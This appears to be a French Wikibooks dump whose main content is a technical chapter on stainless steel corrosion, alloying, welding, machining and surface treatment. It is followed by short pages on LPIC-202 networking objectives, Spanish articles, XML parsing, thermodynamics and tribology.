rouille sert de [[w:catalyse|catalyse]]ur et la surface finit par se « piquer ». C'est la pollution dite « ferritique ». == Types de corrosion des aciers inoxydables == Comme tous les alliages métalliques, ces aciers peuvent subir une corrosion chimique uniforme qui attaque les surfaces de manière régulière ; on peut alors mesurer la masse perdue par unité de surface et par unité de temps. D'autres formes de corrosion caractérisent les aciers inoxydables austénitiques et peuvent se révéler très gênantes à l'usage : * La [[w:corrosion intergranulaire|corrosion intergranulaire]], en cheminant entre les microcristaux, finit par désagréger le métal. Elle est liée à la précipitation de carbure de chrome le long des joints. Pour qu'elle se produise, trois conditions doivent être remplies : au moins 0,035 % de carbone, une sensibilisation par un maintien à une température de 400 à 800° (notamment par le biais du soudage), un milieu extérieur acide avec un pouvoir oxydant compris entre deux limites bien définies. Cette corrosion se distingue par exemple par deux entailles de couleur sombre qui se trouvent aux abords d'un cordon de soudure. Cette corrosion est particulièrement vicieuse car elle se développe dans des endroits confinés, à des niveaux de liquide minimum et elle provoque très souvent la ruine de l'assemblage. * La [[w:corrosion par piqûres|corrosion par piqûres]] n'est généralement pas due à une hétérogénéité du matériau mais à la présence accidentelle d'une poussière métallique qui, en milieu humide, forme une pile électrique. La surface de l'acier constitue alors la cathode et se corrode. On peut ainsi voir des tôles de 2 mm d'épaisseur se percer en quelques heures. Un milieu à la fois très acide et très oxydant peut produire des effets similaires. * La [[w:corrosion sous tension|corrosion sous tension]] provoque la mise hors service très rapide des objets qu'elle attaque. Elle est heureusement très rare. Pour qu'elle se produise, il faut que les pièces comportent des parties mises en tension, même faiblement, sous l'effet des contraintes de service ou des effets secondaires des soudures, de l'emboutissage ... et qu'elles soient en outre exposées à un milieu corrosif de type eau impure, solutions de chlorures même très diluées, soude caustique chaude. On peut noter également l'existence de phénomènes particuliers, comme : * La [[w:corrosion caverneuse|corrosion caverneuse]], * La [[w:corrosion par aération différentielle|corrosion par aération différentielle]], == Rôle des éléments d'addition == * C'est au '''chrome''' et à lui seul que l'on doit la résistance des aciers inoxydables aux agents oxydants. * Le '''nickel''' favorise la formation de structures homogènes de type austénitique, intéressantes pour éviter la corrosion mais à éviter soigneusement dans le domaine du [[w:Matériaux utilisables pour le frottement|frottement|]]. * Le '''molybdène''' et le '''cuivre''' améliorent la tenue dans la plupart des milieux corrosifs, en particulier ceux qui sont acides, mais aussi dans les solutions phosphoriques, soufrées, etc. Le molybdène accroît la stabilité des films de passivation. * Le '''[[w:tungstène|tungstène]]''' améliore la tenue aux températures élevées des aciers inoxydables austénitiques. * Le '''[[w:titane|titane]]''' doit être utilisé à une teneur qui dépasse le quadruple de la teneur en carbone. Il évite l'altération des structures métallurgiques lors du travail à chaud, en particulier lors des travaux de soudure. == Types d'aciers inoxydables == Les '''aciers au chrome''' sont ferritiques et magnétiques à l'état adouci. Certains se comportent comme des aciers spéciaux auto-trempants, d'autres ne se trempent que partiellement ou pas du tout. Les '''aciers au nickel-chrome''' sont en général austénitiques et le traitement d'hypertrempe, loin de les durcir, a au contraire la propriété de les adoucir. Il existe d'innombrables nuances appropriées aux usages les plus divers. En ce qui concerne l'usage, on distingue les aciers martensitiques, ferritiques et austénitiques. * Les '''aciers martensitiques''' sont utilisés lorsque les caractéristiques de résistance mécanique sont importantes. Les plus courants titrent 13 % de chrome avec au moins 0,08 % de carbone. D'autres nuances sont plus chargées en additions, avec éventuellement un faible pourcentage de nickel. * Les '''aciers ferritiques''' ne prennent pas la trempe. On trouve dans cette catégorie des aciers réfractaires à haute teneur en chrome (jusqu'à 30 %), particulièrement intéressants en présence de soufre. * Les '''aciers austénitiques''' sont de loin les plus nombreux, en raison de leur résitance chimique très élevée, de leur ductilité comparable à celle du cuivre ou du laiton, et aussi de leurs bonnes caractéristiques mécaniques élevées. Les teneurs en éléments d'addition tournent autour de 18 % de chrome et 10 % de nickel. La teneur en carbone est très basse et la stabilité améliorée par des éléments tels que le titane ou le [[w:niobium|niobium]]. * Les '''aciers austéno-ferritiques''' ont des propriétés intermédiaires entre les deux précédentes catégories et parmi eux se trouvent des alliages particulièrement aptes à la soudure et d'autres très résistants à la corrosion intergranulaire. La connaissance des types d'acier est essentielle pour les systèmes constitués d'éléments assemblés mécaniquement ou par soudage, la mise en présence de deux aciers inoxydables trop différents dans un électrolyte peut en effet provoquer des phénomènes de corrosion électrochimique très destructeurs. == Conditions à réunir pour favoriser la résistance à la corrosion == Les facteurs favorables à la lutte contre la corrosion sont également applicables aux aciers inoxydables : * Les surfaces doivent être décapées pour éliminer tous les oxydes résultant du travail à chaud : laminage, forgeage, traitements thermiques, assemblages par soudure, etc., * Ne traiter thermiquement que des pièces propres et sèches, sans traces de graisses, de résidus de produits dégraissants, et surtout sans particules ferreuses. Le nettoyage à l'acide nitrique avant traitement est généralement une excellente solution, * Supprimer les tensions résiduelles résultant d'un écrouissage à froid, en particulier celles qui résultent de l'emboutissage, * Éviter, lors de la conception des pièces, de créer des zones difficiles à nettoyer, * Éviter tous les contacts non indispensables entre les pièces d'acier inoxydables et les autres matériaux, métalliques ou non, * Plus encore pour les aciers inoxydables que pour les autres métaux, l'état de surface doit être particulièrement soigné car il conditionne l'établissement d'un film passivant. == Influence de divers milieux == * Eaux industrielles : l'eau pure est sans effet mais les chlorures (et dans une moindre mesure beaucoup d'autres sels), même à l'état de traces, sont particulièrement néfastes pour les aciers inoxydables ; les nuances contenant du molybdène sont alors les plus indiquées. * [[w:Vapeur d'eau|Vapeur d'eau]] : normalement sans effet, elle peut toutefois poser des problèmes si elle contient certaines impuretés. * Atmosphères naturelles, à l'exception des atmosphères marines : elles posent d'autant moins de problèmes que l'acier contient davantage d'éléments nobles et que la surface est mieux polie. * Atmosphères marines et industrielles : les aciers au chrome s'altèrent très lentement mais on préfère en général utiliser des aciers au molybdène. * [[w:Acide nitrique|Acide nitrique]] : il attaque la plupart des métaux industriels mais l'acier inoxydable en général lui résiste particulièrement bien, par suite de la passivation de sa surface : le molybdène n'est intéressant que si l'acide contient des impuretés. * [[w:Acide sulfurique|Acide sulfurique]] : la résistance dépend beaucoup de la concentration et la présence d'impuretés oxydantes améliore la passivation. D'une manière générale les nuances austénitiques contenant du molybdène sont les meilleures. * [[w:Acide phosphorique|Acide phosphorique]] : la résistance est généralement bonne mais il faut surveiller les impuretés, en particulier l'[[w:acide fluorhydrique|acide fluorhydrique]]. * Sulfites acides : la corrosion peut être catastrophique car ces solutions, que l'on rencontre souvent dans les [[w:papeterie|papeterie]]s, comportent beaucoup d'impuretés ; là encore les alliages au molybdène sont préférables. * [[w:Acide chlorhydrique|Acide chlorhydrique]] : la corrosion augmente régulièrement au fur et à mesure que la concentration augmente, l'association est donc à éviter. * Acides organiques : ils ne sont généralement pas aussi corrosifs que les acides minéraux et ceux que l'on rencontre dans l'industrie alimentaire ([[w:acide acétique|acides acétique|]], [[w:acide oxalique|oxalique|]], [[w:acide citrique|citrique|]], etc.) sont pratiquement sans effet. * Solutions alcalines : les solutions froides n'ont pratiquement pas d'action mais il n'en est pas de même pour les solutions concentrées et chaudes. * Solutions salines : le comportement est généralement assez bon, sauf en présence de certains sels comme les chlorures ; les [[w:nitrate|nitrate]]s au contraire favorisent la passivation et améliorent la tenue. * Produits alimentaires : il n'y a généralement aucun problème de corrosion sauf avec certains produits qui contient des composants sulfureux naturels ou ajoutés, comme la [[w:moutarde|moutarde]] et les [[w:vin blanc|vins blancs|]]. * Produits organiques : ils sont généralement sans action sur les aciers inoxydables, saufs s'ils sont chlorés : les [[w:colle|colle]]s, [[w:savon|savon]]s, [[w:goudron|goudron]]s, produits pétroliers, etc. ne posent aucun problème. * Sels et autres produits minéraux fondus : les produits alcalins corrodent tous les aciers inoxydables mais les nitrates, [[w:cyanure|cyanure]]s, [[w:acétate|acétate]]s, ... n'attaquent pas les aciers inoxydables. La plupart des autres sels et des métaux fondus produisent des dégâts rapides. == Mise en œuvre des aciers inoxydables == === Problèmes particuliers du travail à chaud === Par rapport à d'autres matériaux métalliques, les aciers inoxydables possèdent certaines propriétés particulières dont il faut tenir compte lors de la mise en forme : * Ils sont très mauvais conducteurs de la chaleur, * Leur résistance mécanique est élevée, surtout dans le cas des austénitiques (à froid ce sont au contraire les martensitiques les plus résistants), * Le grain tend à grossir à chaud et ne peut être régénéré que par corroyage, * Le travail doit être suivi d'un recuit et d'un décapage permettant de profiter de la résistance à la corrosion. Les pièces massives doivent donc être chauffées lentement jusqu'à environ 800°C avant d'être portées plus rapidement à la température de travail, qui se situe aux alentours de 1000°C. Il faut éviter avant tout la décarburation des aciers martensitiques, le maintien prolongé à haute température des aciers ferritiques et des aciers austénitiques, dont le grain grossit facilement et se révèle difficile ou parfois même impossible à régénérer. Le refroidissement rapide à l'eau, après travail, est souvent préconisé. === Traitements thermiques === C'est le plus souvent sous forme de tôles ou de tubes que l'on utilise les aciers inoxydables, et dans ce cas on est souvent obligé de pratiquer un recuit d'adoucissement après des opérations telles que l'emboutissage, pour éviter le maintien de contraintes résiduelles trop élevées. Le dégraissage avant traitement doit être particulièrement soigné, les atmosphères oxydantes sont les plus indiquées et les atmosphères carburantes doivent être proscrites. Les aciers martensitiques trouvent leur principale utilisation en construction mécanique, sous forme de pièces massives. Pour obtenir la résistance voulue, ils sont généralement trempés puis revenus. L'adoucissement s'impose généralement après l'écrouissage résultant du travail à froid. Le revenu abaissant la résistance à la corrosion, il vaut mieux utiliser une nuance moins riche en carbone qui diminue l'intensité de la trempe et permet d'éviter un revenu à trop haute température. Les aciers ferritiques ne prennent pas la trempe mais il faut souvent les recuire, par exemple entre deux passes d'emboutissage ou en cas de soudure. Un trop long maintien à température élevée engendre une certaine fragilité par suite du grossissement du grain. Les aciers austénitiques et austéno-ferritiques sont adoucis par un traitement à haute température, de 900°C jusqu'à 1150°C, suivi d'un refroidissement aussi rapide que possible. La résistance à la corrosion, particulièrement à sa forme intergranulaire, nécessite de pratiquer autant que possible un traitement d'hypertrempe. La détente des tensions internes peut se faire à température relativement basse, environ 400 ou 450°C. Les aciers inoxydables à durcissement structural nécessitent des traitements particuliers selon les nuances. === Formage à froid === Toutes les techniques habituelles du travail à froid sont applicables aux aciers inoxydables et donc aux pièces obtenues à partir de tôles ou de fils que l'on peut trouver dans d'innombrables objets d'usage courant. Les aciers inoxydables sont relativement durs et cette dureté s'élève par écrouissage, au fur et à mesure qu'on les déforme. Ce phénomène est particulièrement marqué pour les aciers austénitiques. Les aciers ferritiques s'écrouissent moins mais l'allongement qu'on peut leur imposer est plus faible. Le « retour élastique » après formage est beaucoup plus grand que pour les aciers doux « ordinaires ». La [[Tribologie|lubrification]] entre les pièces en cours de formage et les outils est essentielle mais ne pose pas de problèmes particuliers pour la plupart des opérations. Toutefois, pour les pièces à caractère décoratif il faut faire attention à la formation de défauts superficiels par suite d'un grippage intempestif. L'emploi d'outils en acier trempé, en [[w:fonte|fonte]] méhanite ou encore en cupro-aluminium, ainsi que les protections par des vernis pelables ou des feuilles plastiques constituent souvent une bonne solution. L'écrouissage diminue la résistance à la corrosion et crée parfois un magnétisme résiduel. Un recuit permet de restaurer les structures. Le [[w:pliage|pliage]] à la presse ou à la molette ne présente pas de difficulté particulière. L'[[w:emboutissage|emboutissage]] nécessite des machines deux fois plus puissantes que celles qui servent pour l'acier doux. La pression exercée par les serre-flans doit être suffisante pour éviter les plissements mais pas trop pour éviter les déchirures. Les fontes alliées au nickel-chrome donnent les meilleurs outillages, les feuilles minces peuvent être conformées dans des matrices en alliage cuivre-zinc. Les [[w:congé|congé]]s doivent avoir un rayon ni trop petit, ni trop grand, pour éviter à la fois un écrouissage excessif et les plissements, on prend en général entre 5 et 10 fois l'épaisseur des flans. La lubrification s'effectue avec tous les [[Tribologie - Lubrifiants|lubrifiant]]s classiques, solutions [[w:savon|savon]]neuses, huiles solubles ou non, avec dans les cas difficiles des ajouts de lubrifiants solides ou de matières chimiquement actives : [[w:plomb|plomb]], [[w:talc|talc]], [[w:graphite|graphite]], [[w:bisulfure de molybdène|bisulfure de molybdène]], huiles sulfurées ou sulfochlorées, additifs phosphorés, ... Les recuits se font de préférence en atmosphère oxydante et autant que possible aussitôt après l'emboutissage. Le [[w:repoussage|repoussage]] ne pose pas de problème particulier, les précautions à prendre sont les mêmes que pour l'emboutissage, les meilleurs outils sont en acier cémenté... === Assemblage des aciers inoxydables === ==== Soudage et brasage ==== Les méthodes classiques de soudage des aciers doux restent valables dans l'ensemble ; on cherche naturellement à obtenir des soudures saines, sans porosités, dotées d'une bonne résistance mécanique, mais dans le cas des aciers inoxydables les soudures doivent en outre conserver les qualités de résistance à la corrosion des matériaux assemblés. Il faut avant tout limiter les pertes en chrome, en raison du rôle essentiel de cet élément qui, rappelons-le, est très oxydable. On protège donc les cordons de soudure par divers moyens, le laitier d'enrobage des électrodes, une flamme de chalumeau neutre ou encore une atmosphère de gaz inerte ([[w:argon|argon]] par exemple). Comme pour les traitements thermiques il faut soigneusement dégraisser les pièces et proscrire tout ce qui pourrait produire une carburation du métal. * Les aciers martensitiques se prêtent mal au soudage. * Les aciers ferritiques tendent à devenir fragiles et doivent impérativement être recuits après soudure si l'on veut bénéficier de bonnes caractéristiques mécaniques. * Les aciers austénitiques sont les plus aptes au soudage mais il faut choisir avec soin le métal d'apport des baguettes ou des électrodes. La qualité du gaz de protection est déterminante ; on privilégiera toujours une base argon de très haute pureté, notamment pour les procédés TIG, plasma et micro-plasma. Dans le cas de la soudure dite « semi-automatique », on peut employer pour un acier austénitique type CrNi 18-10 une base argon + CO<sub>2</sub> à 3.5% maxi + H<sub>2</sub> à 1% afin de faciliter le décrassage de la soudure et d'obtenir une bonne pénétration. L'envers de la soudure doit être obligatoirement protégé par une atmosphère gazeuse choisie avec soin : si l'on travaille sur des tôles fines ou des chanfreins sur tôles épaisses, il faut employer un traînard qui va diffuser du gaz sur la soudure et ses abords portés à haute température. Pour les inox ferritiques, réfractaires, martensitiques, austéno-ferritiques on recommande un inertage à l'Argon de haute pureté (99.9995%). Pour les inox austénitiques et super-austénitiques, un inertage à l'argon de haute pureté ou à l'azote de haute pureté. * Un assemblage entre de l'acier « classique » au carbone-manganèse et de l'inox et toujours possible. Par exemple, on peut souder un acier dit « de construction », de type S 295, raisonnablement chargé en carbone (au plus 0,37 %, attention à cette valeur qui est un paramètre important de sécurité de l'assemblage) avec un acier inoxydable austénitique à bas carbone de type 304L / 316L (X2 CrNi 18-10 ; X2 CrNi 19-12). On pourra choisir un métal d'apport de type 309L ou 309L Mo (X2 CrNiMo 23-12-2), sous forme d'électrode, de fil massif, de fil fourré, et l'atmosphère sera constituée d'argon(TiG), des produits de décomposition de l'enrobage de l'électrode enrobée ou d'un mélange ternaire Argon/CO<sub>2</sub>/H2 (MiG/MaG/fil fourré). Voici une liste quasi exhaustive des procédés de soudure employés couramment pour le soudage des aciers inoxydables : Electrodes enrobées à enrobage rutile ou basique, ou rutilo-basique, GTAW (Gas Tungsten Arc Welding) - procédé TiG, A-GTAW (Activated Gas Tungsten Arc Welding) - procédé A-TiG (technique de pointe), GMAW (Gas Metal Arc Welding) - procédés MiG/MaG (Metal Inert Gas / Metal Active Gas), FCAW (Flux-Cored Arc Welding) - procédé de soudure au fil fourré (avec ou sans gaz de soudage, avec ou sans laitier), PAW (Plasma Arc Welding) - procédé plasma (technique de pointe), MPAW (MicroPlasma Arc Welding) - procédé microplasma (technique de pointe), OAW (OxyAcetylene Welding) - procédé de soudure au chalumeau oxyacétylénique, SAW (Submerged Arc Welding) - procédé de soudure sous flux en poudre, FSW (Friction Stir Welding) - procédé de soudure par friction à l'état thixotropique (technique de pointe), EBW (Electron Beam Welding) - procédé de soudure au faisceau d'électrons (technique de pointe), LBW (Laser Beam Welding) - procédé de soudure au laser (CO<sub>2</sub>, YaG, architecture diodes...) (technique de pointe), Soudures par diffusion de matière (technique de pointe), explosion (technique de pointe), résistance électrique, ultrasons... On a toujours intérêt à privilégier les méthodes qui limitent dans le temps et dans l'espace la fusion du métal : le [[w:soudage par résistance|soudage par résistance]] (par points, à la molette, par étincelage) donne d'excellents résultats et il ne faut pas oublier le [[w:brasage|brasage]], qui ne provoque aucune fusion de l'acier lui-même. Le « soudage » à l'[[w:étain|étain]] donne de très bons résultats à condition que les pièces soient très soigneusement nettoyées et que l'on élimine soigneusement toute trace de décapant à la fin de l'opération. Les brasures à l'argent donnent des joints très résistants mais les brasures au cuivre et à l'étain (bronze) sont déconseillées car elles introduisent une certaine fragilité du métal de base. Il se produit un phénomène de fissuration à chaud et la ségrégation dans le métal d'ilôts de cuivre qui n'ont ni le même point de fusion, ni la même résistance mécanique. ==== Rivetage et boulonnage ==== Les rivets en acier inoxydable donnent des joints bien serrés en raison de leur coefficient de dilatation élevé. Au-dessous de 5 mm on peut riveter à froid. L'étanchéité est généralement moins bonne que lorsque l'on rivète des aciers ordinaires, en raison de l'absence de rouille. Il est bien entendu conseillé de ne pas « marier » les métaux de façon disparate, afin d'éviter la corrosion électrochimique que cela ne manquerait pas de provoquer. La visserie et la boulonnerie en acier inoxydable s'impose donc tout naturellement. === Usinage === Du point de vue de l'usinage les aciers inoxydables peuvent être classés en deux catégories : * Les aciers ferritiques et surtout martensitiques s'usinent pratiquement de la même manière que les aciers de construction classiques de même dureté, il est cependant conseillé de réduire légèrement les vitesses de coupe. * Les aciers austénitiques se distinguent des aciers de construction ordinaire par leur faible limite d'élasticité, leur allongement important avant rupture et leur forte aptitude à l'écrouissage, ce qui oblige à modifier les conditions d'usinage dans des proportions parfois très importantes. D'une manière générale il faut utiliser des machines plus puissantes, très rigides, ne vibrant pas, et fixer très énergiquement les pièces que l'on veut travailler. On privilégiera les fortes profondeurs de passe à des vitesses relativement faibles. L'angle de coupe doit être positif et suffisamment grand pour favoriser l'écoulement du copeau et diminuer ainsi la création d'arête rapportée. Des géométries à brise-copeaux sont vivement recommandées. Les liquides de coupe jouent un rôle particulièrement important dans le cas des aciers austénitiques. Une très forte [[Tribologie - Lubrifiants|onctuosité]] (capacité d'un lubrifiant à se fixer solidement aux parois par suite de divers phénomènes d'[[w:adsorption|adsorption]]) est nécessaire : on utilisera donc des huiles minérales soufrées ou sulfochlorées additionnées éventuellement de corps gras comme l'huile de ricin ou de colza. === Découpage === Les aciers ferritiques et martensitiques se travaillent comme les aciers courants, mais pas les austénitiques. Ceux-ci ont une forte propension au grippage et il faut veiller à donner une bonne dépouille latérale aux scies et aux poinçons ; la puissance des machines doit être nettement plus élevée. Dans tous les cas on veillera à bien éliminer les parties endommagées, particulièrement lors du découpage au chalumeau. La découpe au chalumeau oxyacétylènique est très difficile du fait de l'auto-protection de ces aciers contre l'oxydation. Une technique ancienne et qui relève du bricolage consiste à faire un amorçage de la découpe « à la goutte de fer » en faisant fondre de l'acier au carbone-manganèse (ou acier noir), puis à démarrer la découpe sur l'inox. Cette technique crée des bords ayant un très mauvais aspect, inaptes au soudage et à la passivation. Avec les aciers inoxydables austénitiques, elle provoque en outre une pollution dite « ferritique », liée à l'amorçage et qui va faire rouiller l'inox malgré lui. Le découpage d'un acier "noir" à proximité d'un acier inoxydable austénitique va piquer celui-ci, en le polluant avec les scories incandescentes issues de l'acier noir, par meulage ou tronçonnage notamment. Les rayures de l'acier noir sur l'inox austénitique provoquent parfois le même effet. Le roulage des tôles d'inox se fait parfois à l'aide de rouleaux revêtus (Teflon). Le pliage peut également demander des exigences particulières. Il faut retenir que pour la découpe de l'inox à l'abrasif, il y a le sciage, le meulage (avec un disque à meuler à bas taux de soufre, chlorure et carbone, disque qui sera uniquement en contact avec de l'inox et jamais avec l'acier noir). Les autres techniques par pression (poinçonnage, cisaillage) fonctionnent bien, mais attention à la déformation qui en résulte. Pour la découpe thermique, plusieurs solutions sont possibles : - La découpe au laser, très efficace, - La découpe au jet d'eau, pratique pour les découpes de forme ou des découpes spatiale sur des épaisseurs moyenne (50 mm), - La découpe au plasma, sous atmosphère d'air comprimé épuré ou d'un mélange argon/dihydrogène à 3% qui « dope » les performances. Cette solution remplace avantageusement la découpe au chalumeau oxyacétylénique. La gamme d'épaisseur va pour des postes manuels de 0,1 mm jusqu'à 60 mm. Des épaisseurs allant jusqu'à 150 mm sont possibles en automatique. Il est à noter que ce procédé engendre une dépouille, variable selon les torches, ce qui signifie que les chants de la tôle ne sont pas exactement perpendiculaires à la surface. Le plasma, colonne en rotation rapide, s'évase avec la profondeur. Les températures sont extrêmes et vont de 18&nbsp;000 à 55&nbsp;000 °C. Le coupage de tout matériau devient alors possible. === Traitements de surface === ==== Décapage et passivation ==== Il faut avant tout éliminer toute la calamine, les particules ferreuses plus ou moins adhérentes à la suite du passage dans les outillages de fabrication ou du brossage à la brosse métallique, les résidus d'outillages abrasifs (surtout s'ils ont auparavant servi à travailler des aciers ordinaires). Le décapage chimique et le sablage sont vivement conseillés. '''Il faut toujours veiller à ce que les pièces que l'on met en service soient convenablement passivées''', ce qui peut se faire si on les abandonne suffisamment longtemps à l'air ou si on les oxyde chimiquement pour gagner du temps. ==== Meulage et polissage ==== Pour éviter la contamination des surfaces, les outils de [[w:meulage|meulage]] et de [[w:polissage|polissage]] doivent autant que possible être réservés au travail des aciers inoxydables. Les pellicules graisseuses qui se forment souvent au cours de ces opérations doivent être soigneusement éliminées car elles isolent le métal et empêchent sa passivation. Le polissage est indiqué seulement dans les cas où il peut réellement améliorer l'état de surface, on peut souvent s'en passer pour les tôles laminées à froid. Autant que possible on soignera la qualité des soudures pour que l'on n'ait pas besoin de les parachever par meulage, car cette opération diminue leur résistance. Le polissage électrolytique provoque généralement moins de pertes de matière que le polissage mécanique. Cependant il doit être conduit selon des prescriptions très strictes pour donner de bons résultats. ==== Entretien ==== Dans beaucoup de cas un nettoyage au savon suffit. Il existe des détersifs appropriés mais rien ne vaut en fin de compte l'acide nitrique qui élimine les dépôts et laisse une surface très bien passivée. [[Catégorie:Métallurgie]] [[Catégorie:Corrosion]] [[en:Stainless steel]] Gestion de réseaux (LPIC202) 1199 24628 2005-10-30T12:39:20Z 196.206.137.71 /* Exercices */ {{LPIC202}} == Section Overview == * Configuration de base du réseau * Configuration avancée du réseau et dépannage == Configuration de base du réseau == === Overview === Description: ''Le candidat doit être capable de configurer un périphérique réseau, de se connecter à un reseau local ainsi qu'à un reseau distant. Cela englobe la capacité à communiquer entre plusieurs sous réseau à l'interieur d'un m^me réseau, de configurer configure dialup access en utilisant mgetty, de configurer dialup access en utilisant un modem ou ISDN, de configurer les protocoles d'autentification tels que PAP et CHAP, et de configurer les connexions TCP/IP logging.'' '''fichier''', ''termes'', and <tt>commandes</tt> inclus : /sbin/route /sbin/ifconfig /sbin/arp /usr/sbin/arpwatch /etc/ === ifconfig === La configuration de l'interface reseau est habituellement faite avec la commande ifconfig. Ifconfig active l'interface specifié et crée une route pour son adresse IP dans la table de routage du noyau. Pour accéder à différents sous réseau à l'intérieur d'un même réseau, utilisez l'argument netmask de la commande route ou de la commande ifconfig. Avec route, vous pouvez paramétrer plusieurs interface avec la même adresse IP mais le "routage" des paquets depnds du sous réseau auquel est connecté cette interface. Avec ifconfig, vous pouvez avoir de multiple adresse ip pour votre machine, une par sous réseau, et ainsi établir un pont entre les différents sous réseau. === Exercices === == Configuration avancée du réseau et dépannage == === Overview === Description : ''Le candidat doit être capable de configurer un périphérique réseau et implémenter différents méthodes d'authentification réseau. Cet objectif inclut la configuration d'un périphérique avec plusieurs interfaces, d'un réseau privé virtuel (VPN) et de résoudre les problèmes de réseaux et de communication.'' '''fichier''', ''termes'', and <tt>commandes</tt> inclus : /sbin/route /sbin/ifconfig /bin/netstat /bin/ping /sbin/arp /usr/sbin/tcpdump /usr/sbin/lsof /usr/bin/nc === Exercices === [[en: Modèle:LPIC202 1200 12844 2004-12-11T18:13:21Z Yann 2 {| style="border:1px black solid; margin=5px 5px 5px 1em;width:160px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;" | [[Image:LPIC.png|150px|Logo LPI]] |- | * [[LPIC2 examen 202]] * [[Objectifs détaillés (LPIC202)|Objectifs détaillés]] ** [[Gestion de réseaux (LPIC202)|Gestion de réseaux]] ** [[Messagerie & Forums (LPIC202)|Messagerie & Forums]] ** [[DNS (LPIC202)|DNS]] ** [[Services web (LPIC202)|Services web]] ** [[Gestion des clients réseau (LPIC202)|Gestion des clients réseau]] ** [[Securité du système (LPIC202)|Securité du système]] ** [[Dépannage réseau (LPIC202)|Dépannage réseau]] * [[Solution des exercices (LPIC202)|Solution des exercices]] |} Solution des exercices (LPIC202) 1201 29223 2006-01-17T21:54:10Z JMRyan 1016 (Lien à la version anglaise. {{LPIC202}} == Configuration des réseaux == === Configuration de base du réseau === === Configuration avancée du réseau et dépannage === == Messagerie & Forums == === Configuration des listes de diffusion === === Utiliser Sendmail === === Gérer le trafic messagerie === === Gérer des forums === == DNS == === Configuration de base de BIND 8 === === Créer et gérer des zones DNS === === Sécuriser un serveur DNS === == Services web == === Mettre en place un serveur web === === Gérer un serveur web === === Mettre en place un serveur proxy === == Gestion des clients réseau == === Configuration du DHCP === === Configuration de NIS === === Configuration de LDAP === === Authentification avec PAM === == Securité du système == === Configurer un routeur === === Sécuriser un serveur FTP === === Secure Shell (OpenSSH) === === TCP_wrappers === === Tâches de sécurité === == Dépannage réseau == === Problèmes de dépannage réseau === [[en:LPI Linux Certification/LPIC2 Exam 202/Exercises results]] Les ressorts 1202 12846 2004-12-12T11:23:26Z Jean-Jacques MILAN 114 Les ressorts déplacé vers Ressort #REDIRECT [[Ressort]] Image:Screenshot-Looxix.png 1204 12848 2004-12-14T00:51:34Z Looxix 14 {{DomainePublic}} screenshot, à jeter dans qq jours {{DomainePublic}} screenshot, à jeter dans qq jours Cours d'espagnol : Leçon 2 1212 44598 2006-06-15T19:56:46Z 86.219.66.66 /* L'article défini */ {{cours d espagnol}} ---- == Grammaire I - Les genres des noms == En français, le verbe dans une phrase change généralament en fonction du nombre du sujet (singulier ou pluriel). Par exemple, on ne dit pas «nous suis là» mais "je suis là", "nous sommes là". <font size=1>[[Les genres des noms en Espagnol|En savoir plus...]]</font> == Grammaire II - Articles définis et indéfinis == === L'article défini === En français, l'article défini peut être '''le''', '''la''', '''les''', '''l' '''... En espagnol, les noms ont également les genres masculin et féminin. En espagnol, l'article défini est donc différent en fonction du genre du nom, masculin, féminin, singulier ou pluriel. <table border="1" bgcolor="#9999FF"> <tr><td>&nbsp;</td><td> Article </td><td> Exemple </td></tr> <tr> <td> genre masculin singulier </td><td> el </td><td> el niño ''(le garçon, le fils)'' </td> </tr> <tr><td> genre féminin singulier </td><td> la </td><td> la niña ''(la fille)'' </td></tr> <tr> <td> genre masculin pluriel </td><td> los </td><td> los niños ''(les fils, les garçons)'' </td> </tr> <tr><td> genre feminin pluriel </td><td> las </td><td> las niñas ''(les filles)'' </td></tr> </table> Rappelez-vous que le genre masculin pluriel inclut les deux sexes. Pour des raisons phonétiques, les mots féminins commençant par '''a''' ou '''ha''' toniques sont précédés au singulier de l'article '''el''' : el agua blanca ''(l'eau blanche),'' las aguas blancas ''(les eaux blanches),'' el hambre inmensa ''(la faim immense),'' las hambres inmensas ''(les faims immenses)''. Si '''a''' ou '''ha''' sont atones, l'article défini féminin reste '''la''' : la avestruz ''(l'autruche)'', la amistad ''(l'amitié)''. Attention également, à ne pas confondre le pronom personnel '''él''' (lui) avec l'article défini '''el'''. Programmation XML/Parsing 1214 30251 2006-01-25T08:35:20Z Boly38 136 +menu {{Programmation XML}} {{Programmation XML}} Il existe de nombreuses API permettant de parser un document XML. La plupart sont conçues pour un langage particulier : * DOM4J (Java) * JDOM (Java) * SimpleXML (PHP) * PyXML (Python) Toutefois, les deux principales normes sont DOM (créé par le W3C) et SAX (créé par David Megginson). Ces normes sont indépendantes du langage. Thermodynamique 1215 43589 2006-05-31T11:47:40Z Sloonz 1589 Séparation en plusieurs pages, le wiki disant que la page est trop grosse :) [[Catégorie:Physique]] Ce livre exposera les principes et quelques applications de la thermodynamique et de la physique statistique. Il est destiné à la fois aux étudiants et à tout public. Les premiers chapitres et les introductions des chapitres plus avancés sont les connaissances les plus accessibles. Les auteurs font leur possible pour ne pas présenter de façon compliquée des choses simples, mais si vous avez des idées, des critiques ou des éléments à apporter, n'hésitez à nous en faire part dans la page de discussion : [[Discuter:Thermodynamique]]. ==Sommaire== *[[Thermodynamique Introduction|Introduction]] *[[Thermodynamique Définitions|Définitions]] *[[Thermodynamique Gaz parfait|Gaz parfait]] *[[Thermodynamique Premier et second principes|Premier et second principes]] *[[Thermodynamique Machines thermiques|Machines thermiques]] *[[Thermodynamique Thermochimie|Thermochimie]] ==Références== *B. Diu, C. Guthmann, D. Lederer, B. Roulet, ''Physique statistique'' *B. Diu, ''Les atomes existent-ils vraiment ?'' *P. Depondt, ''L’entropie et tout ça, le roman de la thermodynamique'' *F. Reif, ''Statistical physics'' Faculté des Sciences 1216 18386 2005-08-03T16:59:48Z 84.100.66.170 Cours de [[Thermodynamique]] [[Image:Red.png]] Cours de [[MEF|mécanique numérique]] [[Image:Red.png]] Cours de [[Tribologie]] [[Image:Red.png]] Catégorie:Tribologie 1217 12860 2004-12-18T09:27:42Z Xillimiandus 134 définition [[tribologie]] La [[tribologie]] est la science et la technologie du frottement. Tribologie - Couverture 1218 39208 2006-03-29T19:55:48Z Jean-Jacques MILAN 114 {| align=center border="1" cellspacing="0" |- align=center bgcolor="#CCDDFF" | colspan = 3 | <br><font size=5>'''Tribologie'''</font><br><br> <big>'''Science et Technologie du Frottement'''</big><br><br> {{Tribologie1}}<br> |- valign=top align=center | {| style="border:1px solid white" cellpadding="3" cellspacing="3" align="left" |- align=center | [[Image:Atomes selon Belidor.png|none|175px]] |- align=center | '''<small>Atomes des surfaces selon Bélidor</small>''' |- | [[Image:Craie2.jpg|175px|]] |- align=center | '''<small>Oscillations de relaxation</small>''' 